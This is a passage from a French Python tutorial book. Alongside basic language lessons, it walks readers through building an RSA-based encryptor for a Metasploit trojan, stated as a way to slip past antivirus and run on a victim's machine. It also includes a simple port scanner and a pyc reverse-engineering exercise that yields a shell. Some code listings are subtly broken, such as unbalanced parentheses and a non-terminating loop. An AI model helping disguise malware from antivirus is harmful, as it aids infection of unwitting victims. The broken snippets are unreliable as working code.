saisie à l’utilisateur et renvoie la réponse
Nous nous pencherons plus tard sur la véritable conception d’une fonction,
retenez uniquement que ce sont des bouts de code que l’on appelle dans un but
précis. Par exemple, si je reprends l’interpréteur python et que j’utilise la fonction
print(), le résultat sera bien prévisible :
Ce que nous avons mis dans la fonction est directement affiché. Avec cette
explication supplémentaire, le programme que nous devons coder ne devrait pas
trop poser de problèmes durant son écriture. Essayez de le faire vous-même, je
vous mets la réponse ci-dessous pour que vous puissiez vérifier :
#!/bin/python
reponse = input("Rentrez votre nom : ")
print("Votre nom est ", reponse)
Je vous avais parlé plus tôt du type de variable nommé liste, mais nous n’avons
pas encore abordé ce qu’il en était vraiment. Une liste est un ensemble de valeur
(d’autres variables si vous préférez) accessible et modifiable à n’importe quel
moment. Les éléments qui la composent sont mis entre crochets :
>>> maListe = []
70
Ici, notre liste est vide. Pour y ajouter des valeurs, il suffit de les séparer par une
virgule en les notant un à un :
>>> maListe[0]
1
>>> maListe[1]
4
>>> maListe[2]
10
>>> maListe2[0]
'chaussette'
>>> maListe2[1]
143.78
>>> maListe2[2]
False
Ce qu’il y a de plus fou dans l’utilisation des listes, c’est la modification des
éléments qui devient extrêmement facile :
>>> print(maListe)
[123, 4, 10]
71
On reparlera un peu plus tard plus en détail des listes, mais pour le moment,
retenez que c’est un type de donnée à part entière capable de supporter une
multitude d’éléments en son sein.
Mais revenons à notre exercice. Si je vous ai fait cette petite digression sur les
listes, c’est que je vous sens prêt à affronter un code plus costaud. Vous allez
programmer un système où l’utilisateur peu choisir un article de magasin parmi 5
et la machine lui renvoie le montant qui lui sera facturé pour cet article. Pour vous
aider, mettez les prix des produits sous la forme d’une liste, et demander à
l’utilisateur le numéro du produit qu’il désire, ce dernier correspondra alors à
l’index du prix dans la liste.
Solution de l’exercice :
#!/bin/python
prix = [0.1, 0.3, 0.05, 0.4, 0.2]
print("Chosissez un article :")
print("[0] concombre")
print("[1] poire")
print("[2] fraise")
print("[3] orange")
print("[4] pomme")
rep = input("Entrez le numéro de votre choix : ")
rep = int(rep)
print("Vous devez payez : ", prix[rep], "€")
Nous avions vu, lorsque nous abordions les types de données (variables) qu’il en
existait une sorte un peu spéciale nommée booléens, mais que sont-ils vraiment ?
72
Je vous avais dit qu’il ne pouvait s’agir que de deux possibilités, soit vrai, soit
faux, mais à quelle question ? Eh bien, à une proposition logique que l’on va
donner à Python.
Les propositions logiques sont un peu du même acabit de ce que l’on peut voir
lorsque on aborde la logique en mathématique au lycée. On donne une
proposition, et il faut démontrer si elle se trouve être vraie ou fausse, et ça,
Python c’est très bien le faire tout seul. Ces réponses à nos propositions vont nous
être utiles pour formuler des conditions, c’est-à-dire des morceaux de code que
l’on exécute si et seulement si la proposition posée au préalable est vraie. Les
propositions sont bien souvent des comparaisons, mais aussi la vérification de la
présence d’un élément dans une liste ou encore l’utilisation d’opérateur logique
redonnant un résultat sous forme de booléen :
if condition:
faire...
73
Et avec un bloc else, qui va nous permettre d’exécuter du code si la condition est
invalide, cela donne :
if condition:
faire...
else:
faire...
#!/bin/python
nb1 = int(input("Nombre 1 : ")
nb2 = int(input("Nombre 2 : ")
if nb1 < nb2:
print("Nombre 2 est supérieur à Nombre 1")
else:
print("Nombre 1 est supérieur à Nombre 2")
Maintenant, une petite série d’exercice pour vérifier que la notion est bien
comprise et qu’elle ne vous pose aucun problème (j’en suis sûr) :
α Refaire le programme de comparaison de nombres, mais cette fois-ci avec 3
nombres saisis par l’utilisateur.
α Faire un programme permettant à un utilisateur de savoir si la lettre e est
présente dans son prénom.
Abordons maintenant les boucles. Ce ne sont ni plus ni moins que des conditions
qui vont se répéter jusqu’à ce qu’elles soient fausses. Une des premières boucles
que nous allons voir est while.
While vient de l’anglais et veut dire « tant que », ce qui, mis dans un langage
logique, veut dire « tant que ma condition est vraie, exécute ce bloc
d’instructions ». Traduit en Python, cela donne :
74
while condition:
fait...
Par exemple, si nous voulions afficher le résultat d’une variable qui est
incrémentée à chaque fois, le code serait :
#!/bin/python
compteur = 0
while compteur < 5:
print("compteur = ", compteur)
compteur += 1
i Pour faire une assignation par opération (une incrémentation par exemple),
utilisez le symbole arithmétique voulu, suivi d’un égal et du nombre choisi.
Nous pourrions alors réécrire exactement le même algorithme mais sous une
forme différente :
#!/bin/python
compteur = 0
while True:
print("compteur = ", compteur)
if compteur >= 5:
break
Le résultat est également le même, sauf que la condition de départ sera toujours
valide (pourquoi serait-elle fausse ?).
Vous les sentez venir les nouveaux exercices :) Cette fois-ci, je vais être gentil, je
ne vous en mets qu’un seul mais qui va vous demander un peu plus de réflexion.
On vous donne le code suivant permettant à l’utilisateur d’effectuer des calculs
entre deux nombres :
75
#!/bin/python
while True:
print('''=-= Machine à Calculs =-=
[1] Addition
[2] Soustraction
[3] Multiplication
[4] Division
[0] Quitter''')
choix = int(input("Faites votre choix : "))
#!/bin/python
for i in [1, 2, 3]:
print(i)
Le résultat sera :
1
2
3
#!/bin/python
for i in "Salut !":
print(i)
76
S
a
l
u
t
Bien sûr, dans nos exemples, j’ai utilisé i en tant que variable prenant la valeur de
chaque élément, mais vous pouvez la remplacer par ce que vous voulez. On met i
par convention d’écriture, c’est tout.
Vous allez très certainement être surpris, car je vous ai menti, il n’y a pas que
quatre types de données en python, mais beaucoup plus, nous n’avions pas le
temps de tous les aborder en début de chapitre.
Les dictionnaires sont un type de liste, à l’exception que pour accéder à une
valeur, on ne se servira pas d’un index mais d’une clef, c’est-à-dire une deuxième
valeur. Il aura donc cette structure particulière :
Cela permet ainsi de clarifier plusieurs informations sur une variable. Admettons
que vous ayez une voiture à décrire, eh bien le dictionnaire est votre plus grand
ami :
77
voiture = {
"marque" : "peugeot",
"nom" : "406",
"chevaux" : 2,
"places" : 2,
"km" : 14567
}
voiture["km"] += 1
for i in dictionnaire.keys() :
# fait...
for i in dictionnaire.values() :
# fait...
for i in dictionnaire.items() :
# fait...
Dans ce dernier cas, i va prendre la valeur d’un tuple, c’est-à-dire une liste non-
modifiable (encore un autre type de donnée dont j’ai oublié de vous parler) qui
aura pour index 0, la clef, et pour index 1, la valeur.
Vous devez maintenant être suffisamment armé pour réussir à faire cet exercice.
78
IV. Fonctions et récursivité
Maintenant que nous avons abordé les boucles et les conditions, nous allons
pouvoir parler d’un autre élément très important de la programmation : les
fonctions. Elles vont vous permettre de répéter des morceaux de codes en dehors
d’une boucle et à n’importe quel moment. De même, la rédaction et la lecture de
votre programme sera beaucoup plus simple.
#!/bin/python
def f(x):
return 3 * x + 2
Le mot-clef return est utilisé pour renvoyer une valeur en dehors de la fonction
que l’on va pouvoir réutiliser, par exemple pour afficher le résultat à l’utilisateur :
79
Découper son code en plusieurs fonctions représentent un gain de temps lorsqu’il
faut exécuter plusieurs fois la même action nécessitant un grand nombre de ligne.
Prenez garde cependant à ne pas en abuser pour laisser votre code clair…
Ce qui est pratique avec les fonctions, c’est le jeu de paramètre que l’on peut
mettre en place. On peut parfaitement voir un paramètre s’auto-déclarer dans la
définition de la fonction :
#!/bin/python
def suite(n, u=0):
for i in range(n):
u = u + 3
return u
De même que l’on peut jouer avec les paramètres, il est tout à fait possible de
jouer avec la structure même des fonctions. Vous n’y avez sûrement pas pensé,
mais que se passerait-il si on appelait une fonction en son sein en lui donnant
différents paramètres :
#!/bin/python
def f(n=5):
print(n)
if n > 0:
f(n-1)
Le résultat va être le même que si l’on avait fait une boucle for, mais à l’envers.
Nous venons de créer ce qu’on appelle une fonction récursive. Elles peuvent
servir de boucle, bonne alternative aux autres méthodes dites itératives.
Bien que les fonctions récursives soient fortes utiles, les boucles itératives
i resteront majoritaires dans vos codes. L’utilisation de l’une des deux se fait
dans des cas précis que vous arriverez à détecter avec le temps.
80
! Veillez bien à arrêter l’ouverture de nouvelles fonctions, vous vous
retrouveriez dans le même cas qu’une boucle infinie sinon.
A l’inverse du code Python standard qui peut être vu comme une file où chaque
instruction sort au fur et à mesure, la pile d’exécution des fonctions fonctionnent
tant que l’on peut empiler. Elle dépile successivement les fonctions de la dernière
ouverte jusqu’à la première.
Ces deux méthodes vont permettre de modifier la complexité de votre code, c’est-
à-dire d’optimiser certains passages pour les rendre plus rapide à l’exécution.
Depuis un moment, je vous parle d’erreurs, mais nous n’avons toujours pas
abordé le sujet en profondeur. Alors laissez-moi vous présenter le monde
fascinant des erreurs en Python avant une petite séance d’exercices.
Lorsque vous écrivez un programme et qu’une action non autorisée est exécutée,
Python va lever une exception, c’est-à-dire une erreur à nos yeux. Bien que la
plupart du temps, ces dernières nous embêtent et nous agacent au plus haut
point, mais elles peuvent s’avérer utiles quand on les maîtrise. Au lieu de laisser
un message barbare s’afficher au visage de vos utilisateurs, on peut récupérer
cette expression et la transformer pour l’afficher mais de manière plus soutenue
sans freiner l’exécution.
#!/bin/python
try:
# faire...
81
except TypeErreur:
# faire...
#!/bin/python
def inverse(x):
return 1 / x
Rentrez x : 0
Traceback (most recent call last):
File "/home/jacky/f.py", line 5, in <module>
print("L'inverse de votre nombre est : ", inverse(int(input("Rentrez x : "))))
File "/home/jacky/f.py", line 3, in inverse
return 1 / x
ZeroDivisionError: division by zero
#!/bin/python
def inverse(x):
try:
return 1 / x
except ZeroDivisionError:
print("Division par 0 interdite")
return 0
Rentrez x : 0
Division par 0 interdite
L'inverse de votre nombre est : 0
82
Spécifier une erreur n’est pas obligatoire. Except seul peut lever une
i exception. Cependant, spécifier la nature de l’exception permet de rajouter
de la clarté à votre code.
De la même manière, Python ne possède pas des exceptions pour tous les cas de
figures, il va donc falloir créer vos propres erreurs afin d’engager des actions plus
propres à vos exigences. Mais nous ne pourrons pas voir ça pour l’instant, vous
n’avez pas les compétences nécessaires pour qu’on puisse en parler.
Le mot-clef qui sera utilisé pour cette action peut tout de même être utile pour
afficher de plus amples informations à l’utilisateur en cas d’exception sans utiliser
d’instruction print(), il s’agit de raise :
raise typeErreur(msg)
#!/bin/python
nb = input("Rentrez un nombre : ")
try:
int(nb)
except:
raise ValueError("Vous n'avez pas rentré un nombre")
Comme d’habitude, je ne vous mets pas de correction, vous arriverez très bien à
force de persévérance, à vous rendre compte si votre code fonctionne ou non.
C’est d’ailleurs là l’objectif de ces exercices, vous faire chercher, jusqu’à ce que
vous compreniez ce que vous faites.
83
Pour ceux fâchés avec les maths : un nombre entier a est divisible par un
i autre nombre entier b, si et seulement si le reste de la division euclidienne
de a par b donne 0. Autrement dit, a % b = 0.
! Gardez bien dans un fichier les fonctions sur les diviseurs et le PGCD, nous
en auront besoin plus tard…
V. Modularité
À force de me lire, vous devez commencer à comprendre certaines logiques
inhérentes à la programmation et l’algorithmie, et notamment une loi impitoyable
qui s’appelle la paresse. Comme chaque être humain, les développeurs sont
partisans du moindre effort, ou du moins, quand ils le peuvent. Afin d’éviter de
réinventer la roue à chaque programme, ils ont mis en place les modules (ou
librairies), bribes de codes à partager à tous simplifiant certaines utilisations de
Python.
Il existe des modules pour tout et surtout pour rien. Pour générer des nombres
aléatoires, utiliser les commandes du système, faire tourner plusieurs processus
en arrière plan ou encore pour utiliser certains algorithmes comme le base64.
Afin de simplifier leurs utilisations et leur partage, un site répertoriant tous les
modules existe : https://pypi.org/.
Pour installer un de ces paquets, la commande utilisée sera pip, quel que soit le
système d’exploitation que vous utilisez :
Pip est préinstallé sur les versions 3.10 et supérieurs de Python. SI ce n’est
i pas le cas pour vous, suivez les instructions de la doc pour l’installer
manuellement : https://pip.pypa.io/en/stable/installation/.
84
Mais revenons à nos modules. Beaucoup des plus utiles sont déjà installés avec
Python, et nous allons en découvrir quelques-uns. Le premier est le module
random, permettant de générer des nombres aléatoires.
#!/bin/python
import random
Maintenant que notre module est importé, nous pouvons commencer à utiliser ses
fonctions. Cependant, il va falloir faire un premier pas dans le chapitre d’après
pour comprendre comment toutes ces fonctions sont ajoutées à Python.
Je vous ai parlé d’objets tout au long de ce livre sans jamais vraiment les définir.
Les objets sont toutes les données que vous avez ou allez manipuler, il en existe
plusieurs types : les nombres, les caractères, les listes, les tuples, les fonctions,
les modules, les dictionnaires, etc.
>>> dir(0)
['__abs__', '__add__', '__and__', ... , 'to_bytes']
Et oui, si vous le vouliez, vous pourriez consulter les méthodes de la fonction dir :
>>> dir(dir)
['__call__', '__class__', '__delattr__', ... ,'__text_signature__']
Afin d’appeler les méthodes d’un objet, on met le nom de l’objet, suivi du nom de
la méthode que l’on désire :
85
>>> x = 0
>>> x.real
0
La méthode real du type int permet d’avoir la partie réelle de n’importe quel
nombre (méthode inutile mais bien pratique pour cet exemple).
! Certains objets, comme les nombres, ne peuvent pas être appelés lorsqu’ils
ne sont pas déclarés sous la forme de variable.
Comme tout objet, les modules possèdent donc des méthodes, sauf qu’ici, elles
sont directement écrites par le développeur. Certains font très bien leur boulot et
ajoute une documentation, en cas de problème cela peut simplifier la vie des
développeurs en leur permettant de lire le manuel de chaque fonction proposée
par le module. Ainsi, on peut tout à fait visualiser les commandes mises à
disposition à l’intérieur de random :
Toutes ces choses sont très bien, mais vous sentez bien qu’à la longue, toujours
devoir taper random pour faire utiliser une de ces fonctions devient rébarbatif. Les
développeurs ont donc inventé un nouveau mot-clef, as, qui va instancier un
nouveau nom pour le module pour votre programme. Ainsi, taper ces lignes
comme vous en aurez très vite l’habitude :
#!/bin/python
import random
print(random.randint(0, 10)) # Nombre aléatoire entre 1 et 10
#!/bin/python
import random as r
print(r.randint(0, 10)) # Nombre aléatoire entre 1 et 10
! Faites attention à laisser des noms à peu près clairs à vos modules pour
faciliter la relecture du code. Ici le nom n’est pas clair du tout
Mais on peut faire encore plus fou pour gagner un peu de temps dans certains
cas. Afin d’éviter les conflits de fonctions existantes dans plusieurs modules, les
86
concepteurs de python avaient en mis ce système de méthodes, mais ils ont
laissé la possibilité d’importer directement les attributs du module dans Python
lui-même. On utilisera donc un autre moyen pour importer, par exemple, avec les
fonctions mathématiques :
Cette ligne veut dire : « importe tous les composants du module math et
incorpore-les à la base de Python ». Ainsi, pour obtenir la valeur de π, je n’aurai
plus à taper cette longue ligne :
>>> math.pi
3.141592653589793
>>> pi
3.141592653589793
#!/bin/python
from math import cos, sin, tan
import math
print("Cosinus de π / 2 = ", cos(math.pi / 2))
À savoir que vous aussi vous pouvez programmer vos propres modules, ou du
moins, séparer votre code en plusieurs fichiers distincts. Cela peut permettre de
rajouter un peu plus de clarté à vos productions.
87
#!/bin/python
import math
def f(x):
'''f(x) = 3x + 3'''
return 3 * x + 3
def g(x):
'''g(x) = 2x² + 3x – 9'''
return 2 * (x**2) + 3 * x – 9
def enRadian(a):
'''Renvoie la valeur en radian de a'''
return (math.pi * a) / 180
i Utilisez les guillemets triple apostrophes (‘’’’’’) pour ajouter une doc à vos
fonctions. L’utilisation par d’autres développeurs leur sera plus agréable.
.
├── fonctions.py
└── trigo.py
Je n’ai qu’à importer le fichier en utilisant son nom, dépourvu de l’extension py :
#!/bin/python
from fonctions import *
print("La valeur de 180° en radian est ", enRadian(180))
Mais que faire si les fichiers à importer sont trop nombreux, le contenu du dossier
n’est plus assez lisible pour qui veut exécuter notre programme :
88
Il est possible afin de garder une présentation et une organisation des fichiers à
peu près potable, d’importer depuis un fichier qui se trouve lui-même dans un
dossier. Par exemple :
.
├── modules
│ └── fonctions.py
└── trigo.py
#!/bin/python
from modules.fonctions import *
print("La valeur de 180° en radian est ", enRadian(180))
Ce que vous venez de lire représente tout ce qu’il y a à savoir sur les modules.
Les notions n’étaient peut-être pas assez digestes dans la manière dont elles vous
ont été montrées, alors tâchons de réviser ensemble avec des exercices guidés
(mais pas trop quand même ;) ).
Ainsi donc, nous revoilà à devoir coder. Je vous avais demandé de garder les
fonctions de la fois dernières, car nous les réutiliserions, eh bien nous allons le
faire tout de suite. Dans un premier temps, renommer le fichier qui contenait vos
fonctions en pgcd_func.py. Créez ensuite un nouveau script nommé rsa.py, notre
objectif sera de reproduire notre version de ce célèbre algorithme de chiffrement
afin de « cacher » nos trojans.
Tout le reste de l’exercice se fera dans le fichier rsa.py. Importez les fonctions de
la partie précédente, ainsi que le module random.
89
Écrire ensuite une fonction clef(). Elle utilise trois variables : p, un nombre premier
aléatoire compris entre 10 et 100, q, un autre nombre premier aléatoire compris
entre 10 et 100, et n, le produit de p par q.
Toujours au sein de cette même fonction clef, on déclare une variable nommée
phi, égale au produit de (p – 1) et de (q – 1) (autrement dit pour les matheux
φ (n)=( p−1)(q−1) , il s’agit de l’indicatrice d'Euler en n, comptant le nombre de
nombres premiers avec n sur l’intervalle [1, n]).
On écrit ensuite une fonction rsa_cyp(msg, e=0, n=0) qui chiffre le message de la
méthode suivante :
α Faire une liste des valeurs numériques des caractères de msg avec la
fonction ord(c) (renvoie la valeur ASCII de c).
α Si e = 0, générer les clefs avec la fonction clef() créée précédemment.
α Générer d, l’exposant de déchiffrement, si nécessaire.
α Le nombre chiffré C est égale au reste de la division euclidienne de la valeur
numérique d’un caractère M puissance e et de n. Autrement dit C=M e % n
ou pour les matheux M e ≡C[n] .
α On renvoie ensuite un tuple contenant la liste des caractères chiffrés, n et d.
90
Arrêtons avec les maths avant que certains ne s’éclatent la tête contre un mur. Je
vous avais dit qu’aucune réponse ne serait donnée ; dans ma grande clémence, je
vous offre ces précieuses fonctions toutes faites, ou du moins quelques bribes
pour vous aider.
def clef():
# Cette fonction génère les clefs publiques et privées
# Elle les renvoie sous forme d'un tuple, accompagné de n
p = premier(..., ...)
q = premier(..., ...)
n = ... * q
phi = (p - ...) * (... - 1)
# On définit e, exposant de chiffrement
while True:
e = random.randint(2, n)
if pgcd(e, ...) == 1 and e < phi:
break
# On définit d, exposant de déchiffrement
... i ... range(phi):
if (i * e) % phi == ...:
d = i
break
... (e, d, ...)
Remplacez les zones marquées par … par les vraies valeurs attendues dans le
code. Vous aurez à réutiliser certaines notions vues précédemment, comme
toujours. Les fonctions rsa_cyp et rsa_dec étant plus simple à appréhender, je
vous laisse les écrire vous-mêmes.
Je vous avais promis que nous allions chiffrer un trojan, et je tiens à garder parole
auprès de vous. Nous allons utiliser un cheval de Troie généré par Metasploit :
91
! Remplacez bien '192.168.1.1' et 4200 par les valeurs attendues à la fin
dans Metasploit si vous voulez vraiment que le trojan fonctionne.
Ce code est anodin pour un virus (dans certaines mesures), et donc très
facilement reconnaissable pour un logiciel de protection. C’est pourquoi nous
allons utiliser notre fonction rsa_cyp pour le chiffrer et ainsi outre-passer les
antivirus utilisant la reconnaissance par paternes de codes.
Coller le code du virus dans un fichier (en ayant modifié l’IP et le port), nous allons
le modifier en utilisant les fonctions liées aux fichiers, mais ça, vous le verrez dans
le prochain chapitre. Pour décompresser, je vous propose d’exprimer votre âme
d’artiste en utilisant le module turtle.
i Turtle est généralement installé par défaut sur la plupart des distributions
Linux. Si ce n’est pas le cas, un rapide $ pip install turtle suffira.
#!/bin/python
import turtle as t
92
#!/bin/python
import turtle as t
for i in range(4):
t.fd(50)
t.rt(90)
93
Pour le dernier cas, il s’agit d’un fractal appelé Flocon de Koch, pensez donc
adapter le tracé en fonction d’un degré n. Pour ce faire, utilisez les fonctions
récursives comme nous l’avons appris, c’est un exercice dur mais réalisable, ne
vous attardez cependant pas un siècle et demi dessus ; Le plus important dans ce
chapitre est l’utilisation des modules Python.
Vous savez également que le meilleur moyen pour avoir accès à la liste des
méthodes d’un objet est de taper :
>>> dir(obj)
Et que vous pouvez avoir accès aux indications laissées par le développeur avec :
>>> help(obj.methode)
Vous êtes également au courant qu’il existe une infinité d’objets… Quoique, non !
Je ne vous l’avais pas dit, ou plutôt, vous l’avais caché. En Python, n’importe qui
peut créer des objets grâce à ce que l’on appelle les classes.
class ma_classe:
pass
Cette classe ne fait rien et n’a strictement aucune utilité dans un programme,
mais nous allons la faire évoluer pour vous aider à comprendre.
x = ma_classe()
94
Ça ne vous a pas échappé, mais la manière dont on définit un objet est similaire à
la manière dont on appelle une fonction. Cette syntaxe est due à la construction
même d’un objet en Python. En effet, si on jette un rapide coup d’oeil à la liste
des méthodes de x avec :
dir(x)
On remarque que plusieurs attributs et fonctions sont présents, alors même que
nous n’en avons déclarés aucun. Un d’entre eux, nommé __init__, est une fonction
permettant de déclarer un objet. Nous pouvons la redéfinir dans la structure de
notre classe :
#!/bin/python
class ma_classe:
def __init__(self):
pass
Le paramètre self de la fonction n’est pas vraiment une option, il est appelé à
chaque fois par la fonction et correspond à l’objet en lui-même. N’importe quelle
fonction au sein de notre classe devra appeler ce paramètre, sous ce nom ou un
autre, tant qu’il est présent à la première place.
C’est donc grâce à cette fonction et à son paramètre que nous allons pouvoir
initialiser de nouveaux attributs (et non fonctions) pour notre objet. Par exemple :
#!/bin/python
class ma_classe:
def __init__(self):
self.valeur = 0
i Notez bien que quelle que soit la variable que vous voulez initialiser, si vous
voulez quelle soit un attribut de l’objet, il faut noter son nom après self.
De la même manière, on peut déclarer des attributs à l’aide de valeurs qui seront
donnés plus tard dans le code. Pour ça, il suffit d’ajouter des paramètres au sein
95
de la fonction __init__, et d’utiliser les valeurs passer en paramètre pour définir les
attributs de l’objet, comme ci-dessous :
#!/bin/python
class ma_classe:
def __init__(self, valeur):
self.valeur = valeur
Après avoir redéfini __init__, on peut dès maintenant utiliser cette nouvelle classe
en définissant une fois de plus x :
x = ma_classe(0)
print(dir(x))
On peut voir que le nouvel attribut « valeur » c’est greffé à notre liste. De plus, on
peut avoir accès à sa valeur en tapant le nom de notre objet, suivi de celui de son
attribut :
print(x.valeur)
#!/bin/python
class Personnage:
def __init__(s, nom, race, vie):
s.nom = nom
s.race = race
s.vie = vie
zeus = Personnage("Zeus", "Dieu", 1000)
i Le nom des classes commence par une majuscule, c’est une convention
d’écriture. Vous pouvez également voir qu’ici, self a été renommé en s.
96
On pourrait également imaginer une fonction permettant de donner le statut de
notre personnage, ce qui serait très pratique pour les joueurs. Ça tombe bien, la
fonction __str__ permet de renvoyer la chaîne de caractère que l’on souhaite à
propos de l’objet. Pour le moment, elle ne renvoie que le type d’objet de la
variable, changeons donc la un peu :
#!/bin/python
class Personnage:
def __init__(s, nom, race, vie):
...
def __str__(s):
return "Le personnage " + s.nom + " a " + str(s.vie) + " vies"
Vous l’aurez compris à l’aide des fonctions __init__ et __str__, toute fonction étant
entourée de deux underscores de chaque côté dans son nom est une fonction
native de la classe générée automatiquement que l’on peut changer à notre
guise. Bien évidemment, vous pouvez créer vos propres fonctions, par exemple,
imaginons que Zeus est à affronter de nombreux adversaires, une fonction dans la
classe permettant de perdre de la vie serait bien pratique :
#!/bin/python
class Personnage:
def __init__(s, nom, race, vie):
...
def perdreVie(s, degats):
s.vie -= degats
97
On verra une diminution dans les points de vie de Zeus :
#!/bin/python
import random as r
class Personnage:
def __init__(s, nom, race, vie, force = r.randint(40, 80)):
...
s.__force = force
zeus.__force = 100
C’est à peu près tout ce qu’il y a à savoir sur les objets et les classes. Passons à
notre, désormais sacrée, séance d’exercices.
Avant de reprendre notre petit bijou de code permettant de chiffrer nos trojans, je
vous propose d’utiliser les classes dans le but de créer un programme de
reconnaissance d’IP sur le réseau. Oui, c’est totalement une copie ratée de nmap
que nous nous apprêtons à faire et non, ce ne sera pas très difficile, du moins, ce
sera moins une prise de tête que notre logiciel chiffrant des chevaux de Troie.
#!/bin/python
import subprocess as sp
def ping(adrs):
o = sp.getoutput("ping -c 4 " + adrs)
# A compléter ...
On se servira de cette fonction pour savoir si une machine est joignable et si oui,
en combien de temps le paquet y arrive. La valeur est ensuite stockée pour servir
98
à décrire un objet machine ayant une adresse IP, une joignabilité (si on peut le
ping, donc attribut à True ou False) et un temps de connexion pour le joindre.
A l’aide d’une interface par terminal, on propose à l’utilisateur, après lui avoir
affiché les machines joignables depuis son réseau, d’en sélectionner une pour
étudier les différents ports ouverts. On se basera pour ce faire sur la fonction
suivante :
#!/bin/python
import socket
def portOuvert(ip, port):
c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
return True if c.connect_ex((ip, port)) == 0 else False
Et voilà, notre petit analyseur de réseau marche comme sur des roulettes !
Rajoutez des instructions pour sauvegarder la liste des ports ouverts dans
i l’objet Machine, et demander à l’utilisateur s’il veut effectuer une nouvelle
fois l’analyse lorsqu’il redemandera la liste des ports de la machine.
Reprenons notre cheval de Troie, je sais que vous êtes impatient de le finir. Dans
les chapitres précédents, nous avons programmé de quoi chiffrer ce petit trojan
pour le rendre indétectable aux yeux des antivirus ; notre objectif va être
maintenant de chiffrer notre code qui se trouve dans un fichier extérieur, et de
rendre un brin plus compréhensible le résultat obtenu afin qu’il soit interprété par
la machine de la victime.
À l’intérieur même du langage Python, il existe un type d’objet gérant les fichiers,
nous permettant ainsi de les lire, de les créer ou encore de les modifier ou de les
supprimer. La syntaxe pour ouvrir un fichier sera la suivante :
f = open(chemin, mode)
« chemin » est la route à suivre pour arriver jusqu’au fichier depuis notre code
python (dépend de l’emplacement du fichier python dans l’arborescence, ou de
l’endroit où est ouvert l’interpréteur), « mode » renvoie à l’utilité que va avoir
notre fichier ouvert dans notre code Python (lire, écrire, les deux, etc.). Il existe de
nombreux modes dont voici une brève liste :
α r : lecture seule
α w : écriture seule, réécrit sur le texte déjà présent. Créer le fichier s’il
n’existe pas
α r+ : lecture et écriture, réécrit sur le texte déjà présent
α a : écriture seule, ajoute les caractères à la fin du fichier.
99
α x : création seule, renvoie une erreur si le fichier existe déjà
α rb+ : lecture et écriture, mais en format binaire.
Pour lire notre trojan dans notre programme principal, le code sera donc :
« contenu » est ici une chaîne de caractères avec laquelle on va pouvoir jouer, et
donc la modifier avec notre fonction rsa_cyp(). Le tuple renvoyé sera mis dans un
nouveau fichier Python que notre programme va créer, il sera utilisé
conjointement avec la fonction rsa_dec() qui sera collée ipso facto dans le même
fichier. Schématiquement, cela donne ceci :
Voilà ! Notre chiffreur de chevaux de Troie est fini. Ce fut une rude et longue
épreuve pour tous. Il est désormais entièrement fonctionnel, libre à vous de le
modifier pour y ajouter des fonctions.
Python est un langage dit interprété. Cela veut dire que les instructions sont
retranscrites en langage machine au fur et à mesure qu’elles sont lues par
Python. C’est donc une méthode d’action totalement opposée à celle d’autres
langages dits compilés, qui vont dans un premier temps retranscrire les
100
instructions en langages machines, puis laisser l’ordinateur interpréter le tout
lorsque le fichier sera exécuté.
Cependant, bien que les instructions ne soient pas compilées (passage du code
d’un langage plus humain au langage machine), afin de gagner du temps lors de
l’exécution, Python va retranscrire notre code en bytecode.
Quand vous avez exécuté les codes des exemples, ou que vous avez vérifié que
ce que vous aviez marqué pour les exercices fonctionnait, un dossier nommé
__pycache__ est sûrement apparu, avec à l’intérieur un certain nombre de fichier
portant l’extension .pyc. Étudions-les de plus près, et, dans un premier temps,
générons un fichier pyc d’un programme simple.
def salut():
print("Salut à toi utilisateur !")
salut()
$ cat __pycache__/salut.cpython-38.pyc
o
��b=�@sdd�Ze�dS)cCs
td�dS)Nu▒Salut à toi utilisateur !)�print�rrsalut.py�saluts
rN)rrrrr<module>s
101
Afin de récupérer le code source original dans l’optique de faire de la rétro-
ingénierie, on peut utiliser le module Uncompyle6. Malheureusement ce dernier
n’est pour l’instant pas disponible pour les versions les plus récentes de Python, il
faudra donc l’installer sur une version plus ancienne du langage (ici 3.8) :
# add-apt-repository ppa:deadsnakes/ppa -y
# apt update
# apt install python3.8
Python est un langage qui évolue très vite, ne recopiez pas ces lignes sans
! réfléchir en pensant pouvoir avancer, adaptez-les de telle sorte à avoir la
version de Python collant le plus à vos besoins (supportée par Uncompyle6)
Évitez d’exécuter des fichiers téléchargés avec curl sans les avoir consultés
! avant. Je vous demande de me faire confiance pour celui-ci, mais prêtez
bien attention à l’avenir avec ce genre de méthodes pas très sécurisées.
$ uncompyle6 __pycache__/salut.cpython-38.pyc
...
def salut():
print('Salut à toi utilisateur !')
salut()
...
102
Vous avez découvert une machine avec un service ssh disponible sur le port 22. Ni
une ni deux, vous énumérez les différents utilisateurs présents sur la machine
pouvant se connecter au serveur. Il se trouve qu’un utilisateur nommé bob peut
se connecter au système. Ce qui est étrange avec cet utilisateur, c’est que
lorsqu’il se connecte, plutôt que d’utiliser les services proposés par Linux, il
préfère se servir d’un petit script écrit dans vous ne savez quel langage.
Après un peu plus de réflexion, vous vous rendez compte que sur le serveur web
de bob se trouve un fichier nommé connexion.min.pyc. Vous décidez de le
télécharger et vous retrouvez en face de ce jeu de données :
import os
print("...")
mdp = input('\n\nMot de passe de Bob : ')
try:
mdp = int(mdp)
except ValueError:
print("On voulait rentrer quelque chose d'autre ;)")
mdp = 0
if mdp + 10 == 23:
os.system('sh')
else:
print('Mot de passe incorrect !')
Le mot de passe est donc beaucoup plus clair, il suffit alors de rentrer 13 et le
programme vous ouvre un shell. La rétro-ingénierie peut s’avérer très pratique
pour ce genre de cas, mais ce n’est rien à côté des failles de sécurités présentes
dans certaines versions de Python.
103
De même, vous pourrez voir certaines fois des bytecodes présents sous cette
forme un peu spéciale :
Cette syntaxe particulière est beaucoup plus lisible que ce que vous trouverez
dans les pyc, mais n’étant pas compilé, vous ne pourrez donc pas utiliser
Uncompyle6. A s’y méprendre, on pourrait la confondre avec de l’assembleur, ce
petit langage faisant la jonction entre un langage compréhensible par l’Homme
comme le C, et le langage binaire.
Malheureusement, il n’existe pas d’outils pour transformer efficacement ce genre
de bytecode en code python utilisable et compréhensible. À la rigueur, vous
pouvez transformer le fichier en pyc avec un programme comme python-xasm
disponible sur Github (https://github.com/rocky/python-xasm), mais si ça ne
marche pas, il faudra trouver d’autres solutions.
Il faudra donc convertir à la main ces bouts de codes, mais n’ayez crainte, ils
suivent une certaine logique. Le nombre le plus à gauche renvoie au numéro de la
ligne en Python, le fait que, dans l’exemple donné, ce nombre soit 2 signifie qu’il
manque une ligne juste avant. Il y a donc de fortes probabilités que nous soyons
dans une fonction au nom inconnu, appelons la f().
LOAD_CONST permet de charger une valeur, peu importe son type, LOAD_FAST
